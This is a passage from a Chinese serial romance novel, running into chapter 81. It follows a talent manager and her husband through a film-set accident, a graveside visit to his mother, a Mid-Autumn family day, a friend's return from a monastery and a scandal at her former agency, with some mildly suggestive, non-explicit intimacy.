邵成章拉长一些安全带，突然探过身子亲了沈灼一口，吓了她一跳，直愣愣地看着他。 “不是你让我亲亲的吗？” ？ “我那明明是……”沈灼迅速瞟了他一眼，见他笑得狡黠，就知道他是故意的，她连忙改口，“好吧，那刚刚就算超甜体验了，原本的那份可没有了哦。” “不行，我还要。” 沈灼不理他，任凭他怎么念叨，她都不应，认真开车回家。 进了家门，邵成章关上门，就把沈灼搂在怀里亲。 “沈灼回来了？我饭做好了——”陈姨听见动静，过来迎接，没想到又撞上小夫妻俩人在门口亲热。 沈灼让陈姨做好晚饭就可以回了，万万没想到她还没走一直等着他们，她一把推开邵成章，瞪了他一眼后转身和陈姨打了个招呼。 “今天一起回来啦？”陈姨尴尬地笑笑。 “嗯，她今天接我下班。”邵成章已经没有丝毫羞赧，语气之中尽是得意。 “小邵总和沈灼感情真好。”陈姨指指厨房，“我把菜给你们热一下就走。” “好，麻烦陈姨。”邵成章笑着回应，而后大步跟上沈灼和她一起进入卧室。 沈灼等邵成章进来，抬手在他胸口捶了一拳，语气像是抱怨又像是撒娇：“你怎么每天都亲不够啊？” “我就是想亲你，看见你就想亲，要是哪天我不想亲你了才有问题呢。”他一把抓住沈灼的手腕，“再说了，我在家里亲自己老婆怎么了，又不是公共场合，也没违反公序良俗。” “歪理。”沈灼斜了她一眼，转身去拿睡衣。 等她脱了上衣，邵成章从背后圈住她，大手覆在前面，隔着薄薄一层垫子，忍不住捏了捏，不怀好意地说：“老婆，我帮你脱吧。” 沈灼“啪”一下拍掉他的手，直接套上了睡衣。 * 翌日一早，沈灼直接飞去了《雾灯》剧组。 关司予整个大变样，他的头发一直是偏长的，接近到锁骨的位置，没想到为了角色，头发直接剃成了贴头皮的寸头，沈灼见到他之后直接愣住了。 沈灼拧着眉问：“雅琦姐，当初有说要剪这么短吗？” 艺人的头发也不是随便剪的，有时候可能后续有别的通告或者拍摄需要造型，都要提前告知经纪人，商量长度。沈灼当然知道关司予要剪短发，但是黎雅琦当时可是说的不会短过耳朵的。 黎雅琦说：“按照乔新越那版妆造确实是不用这么短，但是导演看了一直不满意。司予说和你商量过了，可以剃这么短。” 沈灼瞪了关司予一眼，他冲她抱歉地笑笑。她从来不会在外人面前说自己艺人的不是，于是没再说什么。 “对了，一会儿带你见见导演。”黎雅琦领着她往剧组办公室走，“她还是司予推荐的呢，也是《雾灯》的编剧。” 沈灼有些疑惑：“是女导演吗？” “是啊，他说他看了导演拍摄的所有片子，肯定行。正好她从国外回来，我就去找她聊了聊。” 沈灼心里一咯噔：“导演叫什么啊？” “麦序。麦子的麦，有序的序。” 第78章 有一瞬间，沈灼想到了关昕。听到陌生的名字，她松了一口气。 说是剧组的办公室，不过是在拍摄酒店周围找了个大型储存仓，临时改造成的。关司予便待在酒店没跟着去，黎雅琦开车带着沈灼过去见见她。 “但是雅琦姐，我记得你说编剧是新人来着？”沈灼当时只顾着忙工作室的事了，听黎雅琦说找到了合适的导演，她也没有过多问。 黎雅琦听出画外音，她笑了下，“麦序是纽大电影系，她拍的毕设短片获得了学生奥斯卡，还入围了克莱蒙费朗国际短片的国际单元竞赛，这可是短片届戛纳，我看了她的片子，拍摄风格其实和《雾灯》很像，而且这个时候很难找到一个合适的导演了。” 沈灼点点头。 “其实现在想一想，一切都是最好的安排。如果女一号还用步繁，我说实话，资金上非常有压力，还好有你们家蒋芮，导演对她非常满意。” “是吧。”沈灼笑笑，“我还问了《野河》那边，已经在后期了，我估计应该就是过年那会儿播出，要是司予和蒋芮在剧里也有CP感，《雾灯》可以趁着有热度上映。” 《雾灯》预计拍摄规划两个月，后期加过审，最快明年四月可以上映，《野河》播出至少得两个多月，如果一切顺利，刚好可以和沈灼说的卡上时间。 黎雅琦笑说：“行，可就指着你家这俩宝贝了。” 没说几分钟就到办公室了，二人下车，走进去。原本空旷的仓库隔出来几个屋子，最里面就是导演的屋子，靠里的一整面窗都是玻璃，黎雅琦说导演要求的，这样她可以随时看到全组人的工作状态。 沈灼点点头，感觉麦序至少在态度上非常敬业，她跟着走到房间外，看到里面坐了一群人，应该是正在开会，房间前面有一台大电视，展示的场景道具的PPT。 “坐中间的就是导演麦序。”黎雅琦站在玻璃外，冲着她扬扬下巴示意。 沈灼打眼望过去，坐在长桌中间的女人一头利落短发，皮肤是很健康的小麦色，明明没化妆，眸子却很亮，显得很有精气神儿。 瞥到黎雅琦站在外面，麦序转头隔着玻璃对她们 挥挥手，笑了一下。黎雅琦微微一笑，抬了一下手，示意他们继续。 黎雅琦和沈灼在外面坐下，没一会儿一个小姑娘给俩人端了一杯咖啡过来，黎雅琦问沈灼最近她工作室怎么样，两个人又聊起来。 咖啡喝了一半多，房间里的人纷纷站起来，陆陆续续往外走，麦序也出来了，黎雅琦给她俩互相介绍。 麦序对她笑了一下，伸出右手来：“你好，我是导演麦序。”客气礼貌得压根不像一个导演。 沈灼也伸出手去，回握：“麦导好，我是关司予的经纪人沈灼，接下来的日子里，如果司予在表演上有任何问题，希望您能多多包涵和指教。” 麦序说：“客气了，他的电影我都看过，他确实是我心中石头的不二人选，我相信他可以演好这个角色。”麦序说的石头，就是《雾灯》的男主角。 明日就是开机日，麦序还要和摄影再碰一下，沈灼和黎雅琦便没有多呆。 黎雅琦找了一个香港的大师算过了，最吉利的开机时间是当日上午十点十八分，举行地点直接就安排在拍摄地，八点开始拍摄第一镜，拍完一场戏之后准备开机宴。 沈灼还没来得及招聘到宣传，黎雅琦知道后答应她，让剧组里的剧照师和侧拍师明天多拍一些关司予和蒋芮的开机照。 他们两个人的微博文案沈灼已经想好了，午后沈灼就拿到了图，开始替他们发微博。 黎雅琦笑说，她这不像是老板，反倒是像干助理的活儿。 正说着，就听片场接连几声大喊，沈灼望过去，一堆人围着麦序。黎雅琦迅速上前，发现麦序受伤了。 这会儿正准备室内换成室外景，麦序正和关司予还有蒋芮在讲走位，移动组在一旁铺轨道，碰到了一个架着灯的魔术腿，直接朝着人砸过来了，麦序正对着灯架，见倒下来下意识推开关司予，抬手挡了一下，砸在小臂上。 “有没有冰块？”麦序的小臂迅速肿了起来，关司予几乎是喊着问的。 黎雅琦赶紧叫制片去茶水那里拿。没一会儿，关司予接过包着冰块的毛巾，给麦序冰敷。 “好了，我自己来就行了。”麦序说。 可关司予却置若罔闻，一直蹲在她面前。摄影指导在一旁骂骂咧咧自己组的小孩，说多少遍了魔术腿上要放沙袋。受了训的小助理和麦序道歉。 麦序笑笑说：“我没事，以后记住就好了，还好砸的是我不是男一号，不耽误，大家继续工作吧。” 人群散开。 麦序垂下头，盯着关司予轻轻道：“可以了，关司予。” 关司予这才收回手站起来，沈灼站在关司予背后，看不清他的表情，可她总感觉有点奇怪，但又说不上来奇怪在哪里。 开机第一天，除了麦序有点小小的意外，拍摄还是很顺利，就连收工都预计的时间提前了一小时。毕竟麦序是因为关司予受伤的，沈灼在外卖平台上下单了一盒云南白药和扶他林，以及活血化瘀的内服药。收工回了酒店，沈灼准备给麦序送过去。 电梯是从十二层下来的，门一打开关司予站在里面，手里还拎着一个塑料袋子，沈灼再一看按钮面板，也是摁亮了她要去的第八层。 “去找麦导？”沈灼问。 关司予点头：“嗯。” “这是给她买的药吗？” “嗯。” “那给我吧，我顺带一起给你送过去。” “不用了，毕竟导演因为我受的伤，我亲自送会比较有诚意。” 只下两层，电梯门很快开了，关司予率先走出电梯，沈灼跟在他后面。敲了两次门，都没人应，沈灼撇了眼关司予，他垂着眼，似乎有些失落。 “挂在门上吧，麦导回来就看到了，或者你给导演发个信息说一下。”沈灼没有麦序的微信，只能让关司予发。 关司予点点头，将两个袋子挂在把手上。 “司予，雅琦姐说是你和她推荐的麦序来拍这部片子？”沈灼问。 “是。” “我记得你之前说过你不认识麦序，为什么要推荐她来呢？” “沈灼姐，你到底想问什么呢？” 沈灼想了想说，“我只是觉得你对麦导的关注有点太超过了。”她和关司予工作两年，不说她有多了解他，但是关司予本质上其实是个很内敛甚至可以说淡漠的人，他很少关心什么，不管是因为好消息还是坏消息，他大多时间都是淡淡的一个字回应。 可沈灼第一次见到关司予着急的样子，下午她在片场，也频频发现关司予的视线常落在麦序身上，她隐隐不安。晚上，关司予又亲自给她送药。她怎么能不多想。 “我只是出于愧疚。”走到电梯间，关司予先摁亮了电梯，门唰一下打开了，他走进去站定，望着沈灼说，“况且我又不是什么爱豆偶像，退一万步来说，就算我谈恋爱，也没什么问题。” 沈灼皱起眉头，还没等她说什么，关司予又笑了。 “好了别担心，我知道你要说什么，就算我想谈，也没人和我谈啊。”关司予道，“我在剧组里会谨言慎行，不给你惹麻烦。” 沈灼无奈地松口气，“不是不让你谈，但是一定要让我知道，如果狗仔比我先知道你谈恋爱，看我不打死你。” 电梯“叮”的一声先到了沈灼所在的楼层，关司予替她摁着开关，和她保证，“放心吧。” * 回了房间，沈灼看到邵成章的消息，她直接打了视频过去。沈灼是第二天上午的飞机回A市，中午落地，邵成章坚持说要去接她。 沈灼都还没走到接机口，就看到邵成章身姿挺拔地站在那，低头正回复消息。真是奇怪，来来往往的路人那么多，她总是一眼就看到他了。 邵成章平时不爱打领带，衬衫喜欢敞开两颗扣子，但她猜测他今天大概有什么重要的会议，竟然系了一条深海蓝色的领带，看着很斯文。 有经过的小姑娘还会时不时地回头看他。 沈灼的眼睛弯了起来，像是有心电感应一般，邵成章突然抬头，正看见沈灼笑着朝他走来。 沈灼不禁加快脚步，绕过出口，就被邵成章搂在怀里。她深深吸了一口气，能闻到他身上淡淡的木质调的香水味。 邵成章摸着沈灼身上有点凉，她就只穿了一件长袖衬衫，正碰上A市降温，他问：“冷不冷？” 沈灼摇摇头：“这不是有暖宝宝吗？” 邵成章的怀抱是热的。 他被哄得低声笑着，一手拿过行李箱，一手拥着沈灼往地下停车场走。 上了车，第一件事不是系安全带，而是拽过邵成章的领带，让他探过身子，沈灼先亲了上去。 以往都是邵成章索吻更多一些，却没想到沈灼今日这般主动。 他大手扣住她的后脑勺，用力地接住她，炽热又激烈，车厢里充斥着靡靡之音，被邵成章一一吞进唇齿中。等亲够了，邵成章额头抵着她的，低笑说：“老婆，这么想我？” 沈灼毫不掩饰：“是呀，看你这么帅，不亲两口多可惜。” 邵成章还想再亲她，沈灼往后一退，让他的吻落了空，她笑嘻嘻地说：“我饿了。” 邵成章只好启动车子，他早就找好了餐厅，直接开车过去。 路上，他突然开口说：“马上中秋节，大哥说让我们那天回益海吃饭。” 沈灼眉头轻皱，她伸出手握住他的手，放在自己腿上晃了晃，“你想回去和他们一起过中秋节吗？” 邵成章微微抿着唇没有立即回答她，他确实是不想回邵家。 “如果不想，我们就自己在家过好不好？或者去我妈那，她上次还说惦记你呢，总之去哪儿都行。”沈灼顿了顿，又道，“要是不好和大哥讲，就推到我身上，我和他说我们要去我妈那儿，不回益海了，找人送礼过去就好了。” 邵成章已经很多很多年都没有感受过被别人放在心上是什么感觉了，他心里酸酸涨涨的。 他的沈灼怎么那么好。 邵成章呼出一口气，转头对她说：“老婆，我 想带你去见一个人，一个对我来说很重要的人，本来还想再等些日子的，但是我真的想让你见见她。” 邵成章说得很郑重，沈灼几乎是一秒猜到了是谁。 她点点头，微笑着对他说：“好。” 第79章 中秋节这天，天气格外好。太阳明晃晃地悬着，天空一丝云也没有，蓝得透亮。 卡宴行驶在通往墓园的路上，沈灼和邵成章一路无言，只有爵士乐在车厢里轻轻流淌，衬得车内更加安静。到达墓园，邵成章牵着沈灼，沿着石板路安静地往上走，时不时惊飞几只麻雀。 邵成章母亲的墓碑很干净，像是常有人来打扫。“赵韵”两个鎏金字刻在石碑上，上面是一张女人的照片。 这是沈灼第一次见到邵成章的母亲。她蹲下，把花束轻轻放在碑前，抬眼仔细看着照片。 照片里的女人眉眼舒展，唇角带着淡淡的笑，气质温婉又大气。沈灼发现，邵成章深邃的眉眼像邵松，高挺的鼻梁和柔和的唇形像赵韵。 邵成章在沈灼一旁蹲下身，轻声道：“妈，这是沈灼，是我的妻子。”说完，他像是怕她听不清似的，又重复了一遍，眼底带着淡淡的笑意，“想不到吧，有一天我会结婚。” 沈灼微微侧过头，和邵成章对视了一眼，眼神里带了点不易察觉的柔意。 他笑了下，转而对着赵韵说：“如果你还在的话，你一定也会很喜欢她的。本来打算等到你的生日带她来见你，可是我等不及让你见见她了。” 沈灼听着，抬手握住他的手，十指与他紧扣，目光柔和地落在墓碑上：“妈妈，我是沈灼。今天是中秋节，是一个一家团圆的日子，所以我们来一起看看你。” 邵成章不由得紧握着她的手。 风从松林间吹过，带着松脂的清香，阳光安静地落在两个人之间。 沈灼起身，单独走远了一些，让邵成章和赵韵说了一会儿话。临走之前，沈灼在墓碑前闭上眼睛站定住。好一会儿，她睁开眼，收起情绪，转身笑着对邵成章说：“走吧。” 从墓园出来，邵成章驱车去迟女士家，路上他问：“你刚刚和妈妈说了什么？” 沈灼哼了一声，“那是我和妈妈的悄悄话，我才不告诉你。” “干嘛，偷偷说我的坏话不让我听啊？” “你看看你，以小人之心度君子之腹了吧，我说的都是好话。” “好话还不能让我听了？” 沈灼转过头看着车窗外，唇角微微上扬，心想，当然不能。因为她说的太肉麻了，当着邵成章的面，她真的很难启齿。 她和赵韵保证，会给邵成章一个温暖的家，让他一辈子都有人爱，有人疼，对他不离不弃。 迟女士知道女儿和女婿中午要来，从一上午就开始忙着准备午饭了。 沈灼一进门就听见厨房那边噼里啪啦地，是油炸物的声音。“妈——做啥好吃的呢？”她拎着两袋子水果往厨房走去，看见迟女士正在做她最爱吃的炸茄盒！ 沈灼简直两眼放光，放下水果，直接抄起筷子，夹走了最上面一块炫进嘴巴里。茄盒刚炸出来，还烫的很，沈灼一边吸溜着一边叽里咕噜地说烫，手还不停地扇着风。 迟女士无语地数落她：“你是不是傻呀，啊？这刚做出来的能不烫吗，你吃下面的呀。” 邵成章将月饼礼盒放在茶几上，听到沈灼在厨房大喊大叫连忙过去，看见沈灼烫到嘴巴在原地跺脚，他忍不住笑，同时还不忘将手伸过去，“烫就吐出来。”他示意她吐在他手心里。 沈灼摇摇头，仰着头，吸溜吸溜着吃完了。 邵成章失笑摇头，和迟女士打招呼，喊了声“妈”。 三个大人站在厨房里着实有点挤，迟女士赶他俩出去。 邵成章说：“我在这帮您吧。”他瞥到迟女士拌好的馅儿，知道要一会儿要包饺子。 迟女士也不拒绝：“行，会擀面吗？” 这着实触及到邵成章的盲区了，他诚实地说不会。迟女士便让他过来负责炸茄盒，炸到两面金黄就行。迟女士找出一个盆，倒面，加水，开始和面。 “那没我什么事了呗？”沈灼乐得自在。 迟女士道：“把水果洗了。” 沈灼洗完水果捧着果盘出去了，坐在沙发上拎了一小串晴王吃，水又多又甜。 迟女士搅合几下，一个面团就出来了，放置在一边静置一会儿，她又开始搅馅。 “成章，沈灼在家也这是这样啊，什么也不干？”迟女士问。 “嗯，她有次煎豆腐把手烫到了，我就不让她进厨房了，平时晚上陈姨会做好，周末我做或者出去吃。” 迟女士听了，“哎呀”一声，“你就惯着她吧。”虽然这么说着，可是迟女士却笑眯眯的。 “说我啥呢？”沈灼拎着葡萄走进来，打断俩人的对话。她揪下一粒葡萄，给邵成章喂进嘴巴里。 “说你好呢。”迟女士笑着说。 “那还是妈妈生的好。”沈灼甜甜一笑，乐得迟女士乐合不拢嘴。 饺子馅也是沈灼喜欢的香菇鲜肉。迟女士将案板放在餐桌上，招呼沈灼过来擀饺子皮，结果没擀两下迟女士又嫌弃她总是擀得太慢了，于是沈灼就被安排拾饺子这种没技术含量的活儿了。 邵成章在对面站着帮忙包饺子，听着迟女士母女俩闲聊。 “你们晚上在这吃饭吗？” “你这是想让我们在这吃还是不想啊？”沈灼问。 迟女士自从自驾游回来，又和好姐妹一起报了个舞蹈班，今晚小区物业给居民举行中秋晚会，迟女士和姐妹们报名上去跳舞。沈灼知道后，说晚上要去给迟女士捧场。 哪知直接遭到了迟女士的拒绝，“我下午就得去彩排化妆，可顾不上你们。”沈灼知道迟女士是不好意思，但其实又想让他们去。 “那不行，你的精彩时刻我得给你拍下来，反正我们俩晚上也没事儿。” 邵成章听老婆的，点头说“嗯”。 饭后，迟女士照例得午睡一会儿，沈灼带着邵成章回了自己房间。 房间不大，也布置得简单，邵成章走进书柜，看见了中层摆着一张沈灼小时候的照片。短发，小肉脸，脑门一颗红点点，不知道是不喜欢还是不耐烦，微皱着眉头。造型还cos的许文强，带着小礼帽，穿着小西装，脖见围着一条黑色围巾。 邵成章忍不住拿起来细看，“这是你吗？”他拿着照片，又抬头看向躺在床上的沈灼。 “对呀，是不是不像？我小时候是短发，和小男孩一样，上了小学才开始留长发。”沈灼坐起来说。 “好可爱。”邵成章说，“还有别的照片吗，我想看。” “不要。”沈灼说，“小时候多傻啊。” 邵成章将照片放回去，长腿迈两步就到了床边，他坐下，晃着她的手撒娇：“给我看看吧，嗯？” “那你求求我。”沈灼乐了。 “求求你～”邵成章夹着声音，拱进她怀里。 “好恶心啊你。”沈灼笑着，佯装嫌弃地推他，“喏，照片在衣柜里，下面有个大收纳箱。” 邵成章起身将大箱子挪出来，打开。里面有大相册，还有信封，同学录，小本本，大头贴，明信片等等， 几乎收录了沈灼从小到大的东西。 他先把相册拿出来，一页页翻着，第一页就是沈灼的百日照，就穿了件小肚兜，白白胖胖的趴在垫子上，咧着嘴笑。 沈灼挪了下位置，趴在他腿边，陪着他一起看。看见她的百日照，她“啧”了声，“你怎么上来就看人家的裸。照啊。” 邵成章哭笑不得，又顺着她的话说：“只见过你长大的身体，现在看看小时候的，补上。” ……信手拈来的骚话，沈灼对他甘拜下风。 邵成章一张张看过去，差不多到沈灼上初中的时候就没有照片了。一大本相册都没放满，而且他发现她小时候一拍照就喜欢皱眉，很多都是又皱眉又要笑，总感觉被人强迫的，看得他忍俊不禁。 沈灼也很久没打开过这箱子了，她拿出小学初中那会儿特流行的同学录，随便翻着看。 “亲爱的沈灼，展信佳。我想你应该不认识我，我是高一六班的刘冬阳。第一次注意到你……” 沈灼闻声，忽然抬头，见邵成章拿着一张纸念起来。“哎——你干嘛！”她翻身起来起来想抢过他手里的情书，被邵成章拦住，换了一只手高高举起。 “你别念了！” “别的男生给你写的情书你还留着？”邵成章语气酸溜溜的，又撇了一眼，念了两句，“我见过你，至此隆冬有了春天……啧，写得真矫情。” “当然留着了。”沈灼说，“那好歹也是人家的心意，扔了也太不尊重人家了，不过我没答应他，我都不记得这号人了。”她爬到他身上，跨坐着，伸直了胳膊也够不到。沈灼干脆将他往后一推，把他扑倒在床上。 “你快给我。” “我刚刚看了看，你收了好多情书！”邵成章顺势搂住她，“如果我们高中遇见就好了，我现在羡慕又嫉妒他们，好想知道你高中什么样子。” “就算我们在同一所高中也不会发生什么啊，我不是和你讲过我高一很叛逆吗，估计你在学校就是那种好学生，咱俩估计谁也看不上谁。” “不会。”邵成章说，“如果我在高中遇见你，一定也会喜欢上你。” 沈灼不信：“油嘴滑舌，油腔滑调。” “老婆，你知道吗。我常常在想，为什么没有早一点遇见你。按照中国人的平均寿命来算，我和你剩下的时间也不过四十年，去掉我们工作吃饭睡觉的时间，真正和你在一起的时间加起来可能也就十年。这对我来说，实在是太短了。”邵成章说得很认真。 一番话，说的沈灼心暖暖的。 “也许……”沈灼手放在他胸口上，垫着下巴，“会有一个平行世界，在那个世界里我们就是高中同学。你是老师眼中的天之骄子，我是叛逆少女，你也不知道为什么就喜欢上我了，追了我整整一学期我才答应和你在一起。”沈灼说着就开始笑起来，“或者更久，不过在你和姜珺的监督下，我也开始好好学习。高考之后，你出国，我去了C大，但我们一直谈恋爱，等你回国创业，我们就同居了，之后结婚。” 她本来想在高中阶段说个早恋发现被迫分手，一想还是哄哄他，说了个美满结局。 邵成章听得很满意：“不过我要纠正你两点。” 沈灼挑眉，“什么？” “第一，我每时每刻都知道为什么喜欢你。” “第二，如果我们恋爱了，我不会出国，只会和你考同一所大学，和你在一起。” 第80章 邵成章将情书折好，还给她。 沈灼从他身上爬起来，放回箱子里。里面还有一些零零碎碎的同学们送的小玩意儿，沈灼还记得的就和他讲一讲。 压箱底的是一本日记本，沈灼说那是她和姜珺的交换日记。高一的时候她们还不同班，就约定好每周六交换，晚自习再交换回来。沈灼什么都写，吐槽老师，吐槽同学，分享班里的八卦和趣事，还有喜欢的明星。 “那你呢，你小时候是什么样？和我讲讲呗。”从进屋，都是沈灼在说她自己的学生时期。 邵成章想了想，说：“很无聊，甚至都没什么记忆了。” 十岁之前，他和赵韵相依为命，十岁之后，在邵家说是寄人篱下都不为过。 沈灼不禁懊悔自己嘴快，怎么提了一个不太愉快的话题。 “没有那就不想了，我们眯一会儿吧，有点困了。”沈灼将东西都收好，将收纳盒盖上盖子扣好。 “好。”邵成章将收纳箱放回原处，爬上床，侧躺着单手搂着她的腰。 沈灼也翻身侧对着他，望着他的眼睛忽然笑了下。 “笑什么？” “不知道啊，请邵总解释解释，为什么看见你我就会疯狂心动，忍不住笑呢？” 一句话，哄得邵成章嘴巴又翘起来了。 他往前拱了拱身子，贴得很沈灼很近很近，几乎是鼻尖对着鼻尖。邵成章喏喏地说：“因为你爱我，对吗？” “嗯？你说什么？”沈灼装作没听见，问他。 邵成章稍微大一点声：“我说你爱我，是不是？” 沈灼抬手蹭蹭他的脸，又开始捏他的耳垂，“邵总这么没信心吗，就不能说得肯定一点？” “你爱我。”他的心里终于确定，有人是爱他的。 “嗯，我爱你。”沈灼一字一顿，说得很认真。 邵成章盯了她几秒，嘴巴一抬，贴在她的嘴唇上，他不敢用力亲她，怕自己收不住。只是舌尖轻探，像小狗一样去舔她的唇齿。 亲了好一会儿，两个人依偎在一起，一直听到外面有动静才出去。迟女士午睡醒了，马上要出门和她的姐妹们汇合。 中秋晚会七点半开始，沈灼问她什么时候回来吃饭。谁知迟女士摆摆手，说和姐妹们订好餐了，让他们不用管她的晚饭。 等迟女士出门，沈灼杵着下巴，有点感慨：“怎么感觉我和我妈掉了个各呢。”小时候六一儿童节，沈灼也要表演节目，迟女士总会问她这那，给她书包里塞一堆好吃的。 邵成章说：“好了，这位家长，孩子大了不用担心。” 沈灼笑着瞪他一眼。下午没事，她选了个国外的喜剧电影投到电视上，俩人拥在沙发上看完了。 简单吃过晚饭，沈灼和邵成章下楼散步消食，快到七点半他们去小区里的小广场，去给迟女士捧场。 迟女士的舞蹈是开场，一直在台侧准备。沈灼几乎是一眼就看到她了，穿着很明亮的大红色裙子。他们走过去和她打招呼，好姐们们听迟女士介绍这是她的女儿和女婿，惹得众人羡慕，纷纷开口直夸男俊女美，十分般配。 “正好咱们三个人拍个照呢。”迟女士挥挥手招呼着，“小春儿啊，你帮我们拍一下。” 沈灼赶紧打开美颜相机，递给那位小春儿阿姨。迟女士站中间，左边是沈灼，右边是邵成章，皆挽着她，小春儿阿姨拍了竖的，又拍横的，拢共拍了好几张。 “我来和帅哥拍一张。”一位阿姨笑着走出来，站在邵成章身旁。 迟女士撇她一眼，“这我女婿，你和他拍干什么呀。” “说了是帅哥么，长得和明星似的。”阿姨爽朗笑笑，抬头对邵成章说，“小伙儿，要是阿姨年轻三十岁，肯定追你。” 迟女士无语：“你听听你说的这话，越老越不害臊了嘿。” 邵成章看向老婆寻求帮助，不知道他是该拍还是不该拍，结果见老婆还在掐着腰乐呢。 沈灼拿过手机，“来来来阿姨，我给你拍。”说着她走过去给俩人咔嚓了两张。 拍完照，沈灼和邵成章去台阶上找空座，她还不忘揶揄他：“邵总不愧是邵总，连五十岁的阿姨都为你倾心呢，不知道还有没有其他情敌哦。” “绝对不会有情敌，我的心只在你这。”找到空位，邵成章把外套脱了叠 好给沈灼当坐垫才让她坐下。 “是吗？”沈灼坐下后，搭起腿，突然想到了什么，“难道你们公司没有喜欢你的员工吗？” 邵成章闻言，转头莫名地看着她：“谁会喜欢自己的老板？” 沈灼见他惊讶又不解地睁大眼睛，感觉实在好笑。不过这么想来也是，在工作面前，再帅的一张脸都不值一提，她当初只是实习，就对娱乐圈的艺人祛魅了。 晚会开始，主持人简单说了几句后，轮到迟女士上场。沈灼和邵成章纷纷拿起手机给她拍照录像。 沈灼直接建了个群聊，添加邵成章和迟女士，改群名为“相亲相爱一家人”。她把今晚的三人合照和迟女士跳舞的照片全都发在群里了，以及邵成章和不知名阿姨的合照。 邵成章收到群消息，看到群名不禁勾了勾嘴角，他把视频发出去，然后将群置顶在列表里。 送完迟女士回家，邵成章开车也带着沈灼回去了。 一进门就是铺天盖地，细细密密的吻，沈灼仰头承接着。邵成章直接将她抱起来，托着她的屁股往里走，边走边亲，连灯也不开，轻车熟路去了浴室。 一身黑衣之下，是彼此吸引的美好胴体。 湿润的舌头和灵巧的手指在沈灼身上留下的痕迹，仿佛藤蔓一般将她全身上下包裹住。 卧室的窗帘没有拉，一大扇窗户透过清冷盈盈的月光，在床上洒了一片。邵成章将沈灼放在床上，可以借着透亮的月光看清她的模样。 被水汽氤氲成绯红的脸蛋，像引诱亚当的红苹果，让人忍不住想咬一口。 今天是赏月的日子，但邵成章无心看天上的月亮，因为他的月亮就在眼前。 藤蔓幻化成毒蛇，不停地往身体里钻，汲取寻找最可口的那一捧花/液。 圆月高悬，静静地注视着这个温柔绵长又缱绻的夜晚。 * 悄无声息地入了秋，沈灼哆哆嗦嗦地裹紧了身上的风衣，从市政务服务中心出来。《像她一样》的翻译和后期字幕制作已经完成，沈灼备齐其他材料去送审。 回去的路上她接到了姜珺的电话。在庙里几乎是断网式地呆了一个月，她终于回来了。 沈灼一听她刚出高铁站，让她在出站口等着，这会儿不到四点，不堵车，她去接她。 姜珺瘦了，也黑了，看见沈灼，她咧着嘴冲她招手，两个人结结实实地抱在一起。 沈灼给邵成章发了条消息后，载着姜珺驱车去了中湖。 “怎么样啊？”沈灼迫不及待地问。 姜珺感叹道：“舒服，太舒服了，我感觉自己在那里得到了净化。”姜珺说起她在寺庙里的生活，每天四点多就要起床，进行早读，完成分配的任务，八点半没收手机，九点多就睡觉了。 沈灼听着，简直难以置信，平时喜欢喝酒日夜颠倒的姜珺真的坚持了一个月这样极度健康的生活。 等红绿灯的时候，沈灼迅速从外卖平台上下单了一些火锅食材，降温搭配火锅正合适。 回到家，架好锅，洗好食材，没一会儿，牛油香气冒起来。姜珺看着肥牛卷，午餐肉，感叹道：“天哪，我竟然一个月都没吃肉了。” 沈灼笑道：“今晚管够，你放心吃。酒喝不喝？” 姜珺摇头，开始在沸腾的锅里下肉：“这个戒了。” 沈灼挑眉：“行啊，还真改头换面了。”她本来是想陪一杯，既然姜珺不喝她也就不拿了。 姜珺说：“在那种地方，就是可以让你沉下心来思考。” “那你都思考什么了？” “在思考，人活着的意义是什么。” 沈灼看她一眼：“也不铺垫铺垫，直接就上高度啊？” 姜珺笑了下：“一开始是真的不懂，觉得为什么要我经历这些不好的事情，难道人这一生活着就是要经历苦难的吗？后来我和其余师兄聊，和主持聊，才悟出来了那么一点。” “什么？”沈灼好奇地问。 “我们每个人经历的事情都是一场场修行，通过这些慢慢修炼，破除无明，达到自我的彻底解脱。” 沈灼听得似懂非懂，“能说人话吗？” “简单说，就是向内求，不追求外在，回归本心吧。” 沈灼感叹一句：“那真的太难了。人对于任何事任何人都抱有不同的期待，只能说降低期待，完全做到无欲无求，大概得出家吧。” “所以么说要慢慢修行吗。”姜珺说，“其实挺好的，至少我对那谁已经放下了，当初是我想要的太多了。”姜珺连梁屿琛的名字都不愿意提了。 火锅开了，沈灼先给姜珺夹肉，捞干净之后又下了另一半。 “对了，我还有个事要和你说。” 沈灼：“什么？” “我打算出国进修一下。”姜珺说得很平静，见沈灼睁大眼睛，她笑了下，“你这么惊讶地看着我干什么？” “因为梁屿琛？” “当然不是了，他还不至于。”姜珺道，“主要是不想再写内娱这些破烂儿了，我这一个月还研究了几所学校，想考Screenwriting，以后专攻电影。” “什么时候去啊？” “明年吧，今年剩下的时间我一边准备申请学习，一边准备雅思，顺利明年就能去。我走了以后，你平时又住悦澜湾，其实中湖这边也空出来了，不如就租出去呢。一个月至少能回个七八千，你现在还创业，用钱的地方多，这样还房贷压力还小点了。” “你这还惦记我呢！”沈灼没想到姜珺会想这么多。 “那当然了，你的事不也是我的事吗，只不过在你开工作室这事儿上我也没帮上什么忙，只能替你多想想了。” 其实，姜珺的这个提议是对的。 沈灼这一个月几乎没有进项，只有出项，她最近常请之前有过合作的或者认识的制片人、演员副导演还有鲸禧的前同事们吃饭，看看有没有合适的项目或者商务资源能推一推。外加工作室还需要招聘宣传、商务等等，每个月的开销一点不小。 沈灼点点头：“行，我回来考虑考虑。” 姜珺“嗯哼”一声，问她：“你工作室怎么样啊？” 沈灼叹口气，有点烦，主要是现在并非招聘的最佳时期，她招来的面试者她都不是很满意。 姜珺说她的要求高，不能拿他们和鲸禧那些老人比。 不过这个问题没有困扰沈灼很久，因为池骁，这个杨瑞泽当初最期待最看好的男艺人，出事了。 热搜挂了好几天，媒体爆料说，池骁不仅和自己的经纪人搞上了，让其怀孕堕胎，还私下睡粉。他的经纪人就是苗景。 一开始就是苗景曝光池骁的恶劣事迹，聊天对话和录音锤的不能再锤。然而池骁一直对外立单身人设，直接遭到粉丝脱粉回踩，而且小三小四小五听信池骁的花言巧语，都还以为自己是地下正宫，这事爆出来之后，她们也坐不住了。 瞬间，池骁成了全网讨伐爆骂的对象。 杨瑞泽可真是愁坏了，池骁在公司已经签了三部剧，他刚拍完一部S级＋的古装剧，现在制作方追在屁股后面要赔偿。 整个公关部门忙疯了。 沈灼看到热搜的时候，只能摇头感叹，都说了要出事，可就是不听呢。看到公关部门的老大发的朋友圈，沈灼私聊表示慰问，没想到得到了一个很意外的消息。 鲸禧这个月竟然发不出来工资了。 当一家公司的现金流开始断裂，尤其是拖欠员工工资时，聪明人已经开始在找退路了。 沈灼垂眸想了想，不如，就让她来提供这个退路。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 